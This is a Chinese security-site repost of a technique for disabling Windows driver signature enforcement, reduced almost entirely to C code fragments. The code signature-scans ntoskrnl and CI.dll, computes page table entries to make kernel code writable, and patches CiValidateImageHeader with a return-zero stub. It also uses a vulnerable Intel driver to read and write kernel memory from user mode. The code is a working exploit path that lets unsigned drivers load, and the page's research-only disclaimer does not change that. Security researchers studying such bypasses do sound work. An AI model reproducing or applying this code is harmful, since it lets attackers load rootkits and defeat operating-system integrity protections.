更多全球网络安全资讯尽在邑安全
void* signatureSearch(char* base, char* inSig, int length, int maxHuntLength) {
for (int i = 0; i < maxHuntLength; i++) {
if (base[i] == inSig[0]) {
if (memcmp(base + i, inSig, length) == 0) {
return base + i;
}
}
}
return NULL;
}
...
char MiGetPteAddressSig[] = { 0x48, 0xc1, 0xe9, 0x09, 0x48, 0xb8, 0xf8, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x48, 0x23, 0xc8, 0x48, 0xb8 };
void* FindPageTableEntry(void* addr) {
ULONG_PTR MiGetPteAddress = signatureSearch(&ExAcquireSpinLockSharedAtDpcLevel, MiGetPteAddressSig, sizeof(MiGetPteAddressSig), 0x30000);
if (MiGetPteAddress == NULL) {
return NULL;
}
ULONG_PTR PTEBase = *(ULONG_PTR*)(MiGetPteAddress + sizeof(MiGetPteAddressSig));
ULONG_PTR address = addr;
address = address >> 9;
address &= 0x7FFFFFFFF8;
address += (ULONG_PTR)PTEBase;
return address;
}
char CiValidateImageHeaderSig[] = { 0x48, 0x33, 0xc4, 0x48, 0x89, 0x45, 0x50, 0x48, 0x8b };
const int CiValidateImageHeaderSigOffset = 0x23;
ULONG_PTR CiValidateImageHeader = signatureSearch(CiValidateFileObjectPtr, CiValidateImageHeaderSig, sizeof(CiValidateImageHeaderSig), 0x100000);
if (CiValidateImageHeader == NULL) {
return;
}
CiValidateImageHeader -= CiValidateImageHeaderSigOffset;
ULONG64 *pte = FindPageTableEntry(CiValidateImageHeader);
*pte = *pte | 2;
char retShell[] = { 0x48, 0x31, 0xc0, 0xc3 };
char origBytes[4];
memcpy(origBytes, CiValidateImageHeader, 4);
memcpy(CiValidateImageHeader, retShell, 4);
*pte = *pte ^ 2;
// After this, page protection is reverted
*pte = *pte | 2;
memcpy(CiValidateImageHeader, origBytes, 4);
*pte = *pte ^ 2;
ULONG_PTR GetKernelModuleAddress(const char *name) {
DWORD size = 0;
void* buffer = NULL;
PRTL_PROCESS_MODULES modules;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, size, &size);
while (status == STATUS_INFO_LENGTH_MISMATCH) {
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, size, &size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, 0, MEM_RELEASE);
return NULL;
}
modules = (PRTL_PROCESS_MODULES)buffer;
for (int i=0; i < modules->NumberOfModules; i++)
{
char* currentName = (char*)modules->Modules[i].FullPathName + modules->Modules[i].OffsetToFileName;
if (!_stricmp(currentName, name)) {
ULONG_PTR result = (ULONG_PTR)modules->Modules[i].ImageBase;
VirtualFree(buffer, 0, MEM_RELEASE);
return result;
}
}
VirtualFree(buffer, 0, MEM_RELEASE);
return NULL;
}
...
ULONG_PTR kernelBase = GetKernelModuleAddress("ntoskrnl.exe");
ULONG_PTR ciBase = GetKernelModuleAddress("CI.dll");
void* mapFileIntoMemory(const char* path) {
HANDLE fileHandle = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (fileHandle == INVALID_HANDLE_VALUE) {
return NULL;
}
HANDLE fileMapping = CreateFileMapping(fileHandle, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
if (fileMapping == NULL) {
CloseHandle(fileHandle);
return NULL;
}
void *fileMap = MapViewOfFile(fileMapping, FILE_MAP_READ, 0, 0, 0);
if (fileMap == NULL) {
CloseHandle(fileMapping);
CloseHandle(fileHandle);
}
return fileMap;
}
void* signatureSearch(char* base, char* inSig, int length, int maxHuntLength) {
for (int i = 0; i < maxHuntLength; i++) {
if (base[i] == inSig[0]) {
if (memcmp(base + i, inSig, length) == 0) {
return base + i;
}
}
}
return NULL;
}
ULONG_PTR signatureSearchInSection(char *section, char* base, char* inSig, int length) {
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)base;
IMAGE_NT_HEADERS64* ntHeaders = (IMAGE_NT_HEADERS64*)((char*)base + dosHeader->e_lfanew);
IMAGE_SECTION_HEADER* sectionHeaders = (IMAGE_SECTION_HEADER*)((char*)ntHeaders + sizeof(IMAGE_NT_HEADERS64));
IMAGE_SECTION_HEADER* textSection = NULL;
ULONG_PTR gadgetSearch = NULL;
for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
if (memcmp(sectionHeaders[i].Name, section, strlen(section)) == 0) {
textSection = §ionHeaders[i];
break;
}
}
if (textSection == NULL) {
return NULL;
}
gadgetSearch = (ULONG_PTR)signatureSearch(((char*)base + textSection->VirtualAddress), inSig, length, textSection->SizeOfRawData);
return gadgetSearch;
}
...
const char MiGetPteAddressSig[] = { 0x48, 0xc1, 0xe9, 0x09, 0x48, 0xb8, 0xf8, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x48, 0x23, 0xc8, 0x48, 0xb8 };
const char CiValidateImageHeaderSig[] = { 0x48, 0x33, 0xc4, 0x48, 0x89, 0x45, 0x50, 0x48, 0x8b };
const int CiValidateImageHeaderSigOffset = 0x23;
gadgetSearch = signatureSearchInSection((char*)".text", (char*)kernelBase, MiGetPteAddressSig, sizeof(MiGetPteAddressSig));
MiGetPteAddress = gadgetSearch - kernelBase + sizeof(MiGetPteAddressSig);
gadgetSearch = signatureSearchInSection((char*)"PAGE", (char*)ciMap, CiValidateImageHeaderSig, sizeof(CiValidateImageHeaderSig));
CiValidateImageHeader = gadgetSearch - ciMap + ciBase - CiValidateImageHeaderSigOffset;
...
// Use intel driver vuln to copy kernel memory between user/kernel space
copyKernelMemory(devHandle, (ULONG_PTR)&pteBase, MiGetPteAddress, sizeof(void*));
ULONG_PTR getPTEForVA(ULONG_PTR pteBase, ULONG_PTR address) {
ULONG_PTR PTEBase = pteBase;
address = address >> 9;
address &= 0x7FFFFFFFF8;
address += (ULONG_PTR)PTEBase;
return address;
}
ULONG_PTR pteAddress = getPTEForVA(pteBase, CiValidateImageHeader);
copyKernelMemory(devHandle, (ULONG_PTR)&pte, pteAddress, 8);
pte |= 2;
copyKernelMemory(devHandle, (ULONG_PTR)origMem, CiValidateImageHeader, sizeof(origMem));
copyKernelMemory(devHandle, CiValidateImageHeader, (ULONG_PTR)retShell, sizeof(retShell));
原文来自: 4hou.com
原文链接: https://blog.xpnsec.com/gcioptions-in-a-virtualized-world/
推荐文章
1
2
原文始发于微信公众号(邑安全):一种禁用驱动程序强制签名的技术
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论